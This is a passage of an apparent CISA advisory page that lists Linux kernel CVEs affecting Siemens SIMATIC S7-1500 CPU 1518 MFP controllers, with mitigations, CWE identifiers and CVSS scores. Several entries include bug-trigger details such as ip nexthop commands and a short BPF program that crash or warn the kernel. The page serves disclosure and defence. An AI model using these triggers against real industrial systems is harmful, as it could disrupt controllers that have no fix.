(discriminator 1)) tmigr_handle_remote (kernel/time/timer_migration.c:1096) handle_softirqs (./arch/x86/include/asm/jump_label.h:36 ./include/trace/events/irq.h:142 kernel/softirq.c:580) irq_exit_rcu (kernel/softirq.c:614 kernel/softirq.c:453 kernel/softirq.c:680 kernel/softirq.c:696) sysvec_apic_timer_interrupt (arch/x86/kernel/apic/apic.c:1050 (discriminator 35) arch/x86/kernel/apic/apic.c:1050 (discriminator 35))</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39955">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/213.html">CWE-213 Exposure of Sensitive Information Due to Incompatible Policies</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39964</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: crypto: af_alg - Disallow concurrent writes in af_alg_sendmsg Issuing two writes to the same af_alg socket is bogus as the data will be interleaved in an unpredictable fashion. Furthermore, concurrent writes may create inconsistencies in the internal socket state. Disallow this by adding a new ctx-&gt;write field that indiciates exclusive ownership for writing.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39964">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39977</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: futex: Prevent use-after-free during requeue-PI syzbot managed to trigger the following race: T1 T2 futex_wait_requeue_pi() futex_do_wait() schedule() futex_requeue() futex_proxy_trylock_atomic() futex_requeue_pi_prepare() requeue_pi_wake_futex() futex_requeue_pi_complete() /* preempt */ * timeout/ signal wakes T1 * futex_requeue_pi_wakeup_sync() // Q_REQUEUE_PI_LOCKED futex_hash_put() // back to userland, on stack futex_q is garbage /* back */ wake_up_state(q-&gt;task, TASK_NORMAL); In this scenario futex_wait_requeue_pi() is able to leave without using futex_q::lock_ptr for synchronization. This can be prevented by reading futex_q::task before updating the futex_q::requeue_state. A reference on the task_struct is not needed because requeue_pi_wake_futex() is invoked with a spinlock_t held which implies a RCU read section. Even if T1 terminates immediately after, the task_struct will remain valid during T2's wake_up_state(). A READ_ONCE on futex_q::task before futex_requeue_pi_complete() is enough because it ensures that the variable is read before the state is updated. Read futex_q::task before updating the requeue state, use it for the following wakeup.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39977">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/416.html">CWE-416 Use After Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39978</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: octeontx2-pf: Fix potential use after free in otx2_tc_add_flow() This code calls kfree_rcu(new_node, rcu) and then dereferences "new_node" and then dereferences it on the next line. Two lines later, we take a mutex so I don't think this is an RCU safe region. Re-order it to do the dereferences before queuing up the free.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39978">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/825.html">CWE-825 Expired Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.4</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-39980</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: nexthop: Forbid FDB status change while nexthop is in a group The kernel forbids the creation of non-FDB nexthop groups with FDB nexthops: # ip nexthop add id 1 via 192.0.2.1 fdb # ip nexthop add id 2 group 1 Error: Non FDB nexthop group cannot have fdb nexthops. And vice versa: # ip nexthop add id 3 via 192.0.2.2 dev dummy1 # ip nexthop add id 4 group 3 fdb Error: FDB nexthop group can only have fdb nexthops. However, as long as no routes are pointing to a non-FDB nexthop group, the kernel allows changing the type of a nexthop from FDB to non-FDB and vice versa: # ip nexthop add id 5 via 192.0.2.2 dev dummy1 # ip nexthop add id 6 group 5 # ip nexthop replace id 5 via 192.0.2.2 fdb # echo $? 0 This configuration is invalid and can result in a NPD [1] since FDB nexthops are not associated with a nexthop device: # ip route add 198.51.100.1/32 nhid 6 # ping 198.51.100.1 Fix by preventing nexthop FDB status change while the nexthop is in a group: # ip nexthop add id 7 via 192.0.2.2 dev dummy1 # ip nexthop add id 8 group 7 # ip nexthop replace id 7 via 192.0.2.2 fdb Error: Cannot change nexthop FDB status while in a group. [1] BUG: kernel NULL pointer dereference, address: 00000000000003c0 [...] Oops: Oops: 0000 [#1] SMP CPU: 6 UID: 0 PID: 367 Comm: ping Not tainted 6.17.0-rc6-virtme-gb65678cacc03 #1 PREEMPT(voluntary) Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.17.0-4.fc41 04/01/2014 RIP: 0010:fib_lookup_good_nhc+0x1e/0x80 [...] Call Trace: fib_table_lookup+0x541/0x650 ip_route_output_key_hash_rcu+0x2ea/0x970 ip_route_output_key_hash+0x55/0x80 __ip4_datagram_connect+0x250/0x330 udp_connect+0x2b/0x60 __sys_connect+0x9c/0xd0 __x64_sys_connect+0x18/0x20 do_syscall_64+0xa4/0x2a0 entry_SYSCALL_64_after_hwframe+0x4b/0x53</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-39980">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40022</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: crypto: af_alg - Fix incorrect boolean values in af_alg_ctx Commit 1b34cbbf4f01 ("crypto: af_alg - Disallow concurrent writes in af_alg_sendmsg") changed some fields from bool to 1-bit bitfields of type u32. However, some assignments to these fields, specifically 'more' and 'merge', assign values greater than 1. These relied on C's implicit conversion to bool, such that zero becomes false and nonzero becomes true. With a 1-bit bitfields of type u32 instead, mod 2 of the value is taken instead, resulting in 0 being assigned in some cases when 1 was intended. Fix this by restoring the bool type.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40022">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/704.html">CWE-704 Incorrect Type Conversion or Cast</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.3</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40070</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: pps: fix warning in pps_register_cdev when register device fail Similar to previous commit 2a934fdb01db ("media: v4l2-dev: fix error handling in __video_register_device()"), the release hook should be set before device_register(). Otherwise, when device_register() return error and put_device() try to callback the release function, the below warning may happen. ------------[ cut here ]------------ WARNING: CPU: 1 PID: 4760 at drivers/base/core.c:2567 device_release+0x1bd/0x240 drivers/base/core.c:2567 Modules linked in: CPU: 1 UID: 0 PID: 4760 Comm: syz.4.914 Not tainted 6.17.0-rc3+ #1 NONE RIP: 0010:device_release+0x1bd/0x240 drivers/base/core.c:2567 Call Trace: kobject_cleanup+0x136/0x410 lib/kobject.c:689 kobject_release lib/kobject.c:720 [inline] kref_put include/linux/kref.h:65 [inline] kobject_put+0xe9/0x130 lib/kobject.c:737 put_device+0x24/0x30 drivers/base/core.c:3797 pps_register_cdev+0x2da/0x370 drivers/pps/pps.c:402 pps_register_source+0x2f6/0x480 drivers/pps/kapi.c:108 pps_tty_open+0x190/0x310 drivers/pps/clients/pps-ldisc.c:57 tty_ldisc_open+0xa7/0x120 drivers/tty/tty_ldisc.c:432 tty_set_ldisc+0x333/0x780 drivers/tty/tty_ldisc.c:563 tiocsetd drivers/tty/tty_io.c:2429 [inline] tty_ioctl+0x5d1/0x1700 drivers/tty/tty_io.c:2728 vfs_ioctl fs/ioctl.c:51 [inline] __do_sys_ioctl fs/ioctl.c:598 [inline] __se_sys_ioctl fs/ioctl.c:584 [inline] __x64_sys_ioctl+0x194/0x210 fs/ioctl.c:584 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0x5f/0x2a0 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x76/0x7e Before commit c79a39dc8d06 ("pps: Fix a use-after-free"), pps_register_cdev() call device_create() to create pps-&gt;dev, which will init dev-&gt;release to device_create_release(). Now the comment is outdated, just remove it. Thanks for the reminder from Calvin Owens, 'kfree_pps' should be removed in pps_register_source() to avoid a double free in the failure case.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40070">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40078</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: bpf: Explicitly check accesses to bpf_sock_addr Syzkaller found a kernel warning on the following sock_addr program: 0: r0 = 0 1: r2 = *(u32 *)(r1 +60) 2: exit which triggers: verifier bug: error during ctx access conversion (0) This is happening because offset 60 in bpf_sock_addr corresponds to an implicit padding of 4 bytes, right after msg_src_ip4. Access to this padding isn't rejected in sock_addr_is_valid_access and it thus later fails to convert the access. This patch fixes it by explicitly checking the various fields of bpf_sock_addr in sock_addr_is_valid_access. I checked the other ctx structures and is_valid_access functions and didn't find any other similar cases. Other cases of (properly handled) padding are covered in new tests in a subsequent patch.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40078">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40080</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: nbd: restrict sockets to TCP and UDP Recently, syzbot started to abuse NBD with all kinds of sockets. Commit cf1b2326b734 ("nbd: verify socket is supported during setup") made sure the socket supported a shutdown() method. Explicitely accept TCP and UNIX stream sockets.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2025-40080">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2025-40105</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: vfs: Don't leak disconnected dentries on umount When user calls open_by_handle_at() on some inode that is not cached, we will create disconnected dentry for it. If such dentry is a directory, exportfs_decode_fh_raw() will then try to connect this dentry to the dentry tree through reconnect_path(). It may happen for various reasons (such as corrupted fs or race with rename) that the call to lookup_one_unlocked() in reconnect_one() will fail to find the dentry we are trying to reconnect and instead create a new dentry under the parent. Now this dentry will not be marked as disconnected although the parent still may well be disconnected (at least in case this inconsistency happened because the fs is corrupted and .. doesn't point to the real parent directory). This creates inconsistency in disconnected flags but AFAICS it was mostly harmless. At least until commit f1ee616214cb ("VFS: don't keep disconnected dentries on d_anon") which removed adding of most disconnected dentries to sb-&gt;s_anon list. Thus after this commit cleanup of disconnected dentries implicitely relies on the fact that dput() will immediately reclaim such dentries. However when some leaf dentry isn't marked as disconnected, as in the scenario described above, the reclaim doesn't happen and the dentries are "leaked". Memory reclaim can eventually reclaim them but otherwise they stay in memory and if umount comes first, we hit infamous "Busy inodes after unmount" bug. Make sure all dentries created under a disconnected parent are marked as disconnected as well.</p>
